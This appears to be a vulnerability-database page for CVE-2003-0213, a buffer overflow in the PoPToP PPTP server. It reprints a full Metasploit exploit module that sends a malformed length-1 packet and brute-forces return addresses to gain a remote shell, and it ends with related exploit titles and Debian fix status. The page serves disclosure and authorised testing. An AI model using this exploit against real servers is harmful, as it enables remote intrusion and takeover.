CVE-2003-0213
Description
ctrlpacket.c in PoPToP PPTP server before 1.1.4-b3 allows remote attackers to cause a denial of service via a length field of 0 or 1, which causes a negative value to be fed into a read operation, leading to a buffer overflow.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
PoPToP - Negative Read Overflow (Metasploit)
##
# $Id: poptop_negative_read.rb 11114 2010-11-23 18:12:08Z jduck $
##
##
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# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
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##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Poptop Negative Read Overflow',
'Description' => %q{
This is an exploit for the Poptop negative read overflow. This will
work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
currently do not have a good way to detect Poptop versions.
The server will by default only allow 4 concurrent manager processes
(what we run our code in), so you could have a max of 4 shells at once.
Using the current method of exploitation, our socket will be closed
before we have the ability to run code, preventing the use of Findsock.
},
'Author' => 'spoonm',
'License' => MSF_LICENSE,
'Version' => '$Revision: 11114 $',
'References' =>
[
['CVE', '2003-0213'],
['OSVDB', '3293'],
['URL', 'http://securityfocus.com/archive/1/317995'],
['URL', 'http://www.freewebs.com/blightninjas/'],
],
'Privileged' => true,
'Payload' =>
{
# Payload space is dynamically determined
'MinNops' => 16,
'StackAdjustment' => -1088,
'Compat' =>
{
'ConnectionType' => '-find',
}
},
'SaveRegisters' => [ 'esp' ],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' =>
[
['Linux Bruteforce',
{ 'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbffffa00 },
'Stop' => { 'Ret' => 0xbffff000 },
'Step' => 0
}
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 9 2003'))
register_options(
[
Opt::RPORT(1723)
], self.class)
register_advanced_options(
[
OptInt.new("PreReturnLength", [ true, "Space before we hit the return address. Affects PayloadSpace.", 220 ]),
OptInt.new("RetLength", [ true, "Length of returns after payload.", 32 ]),
OptInt.new("ExtraSpace", [ true, "The exploit builds two protocol frames, the header frame and the control frame. ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data (these should eventually be filled in to look like a real client, ie windows). I've had successful exploitation with this set to 154, but nothing over 128 is suggested.", 0 ]),
OptString.new("Hostname", [ false, "PPTP Packet hostname", '' ]),
OptString.new("Vendor", [ true, "PPTP Packet vendor", 'Microsoft Windows NT' ]),
], self.class)
end
# Dynamic payload space calculation
def payload_space(explicit_target = nil)
datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i
end
def build_packet(length)
[length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +
[1,0].pack('cc') +
[0].pack('n') +
[1,1,0,2600].pack('NNnn') +
datastore['Hostname'].ljust(64, "\x00") +
datastore['Vendor'].ljust(64, "\x00")
end
def check
connect
sock.put(build_packet(156))
res = sock.get_once
if res and res =~ /MoretonBay/
return CheckCode::Detected
end
return CheckCode::Safe
end
def brute_exploit(addrs)
connect
print_status("Trying #{"%.8x" % addrs['Ret']}...")
# Construct the evil length packet
packet =
build_packet(1) +
payload.encoded +
([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))
sock.put(packet)
handler
disconnect
end
end
PoPToP < 1.1.3-b3/1.1.3-20030409 - Negative Read Overflow (Metasploit)
PoPToP PPTP 1.0/1.1.x - Negative 'read()' Argument Remote Buffer Overflow
PoPToP PPTP 1.1.4-b3 - 'poptop-sane.c' Remote Command Execution
PoPToP PPTP 1.1.4-b3 - Remote Command Execution
Metasploit modules
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.1.4-0.b3.2 |
| sid | Fixed | 1.1.4-0.b3.2 |
| forky | Fixed | 1.1.4-0.b3.2 |
| bullseye | Fixed | 1.1.4-0.b3.2 |
| bookworm | Fixed | 1.1.4-0.b3.2 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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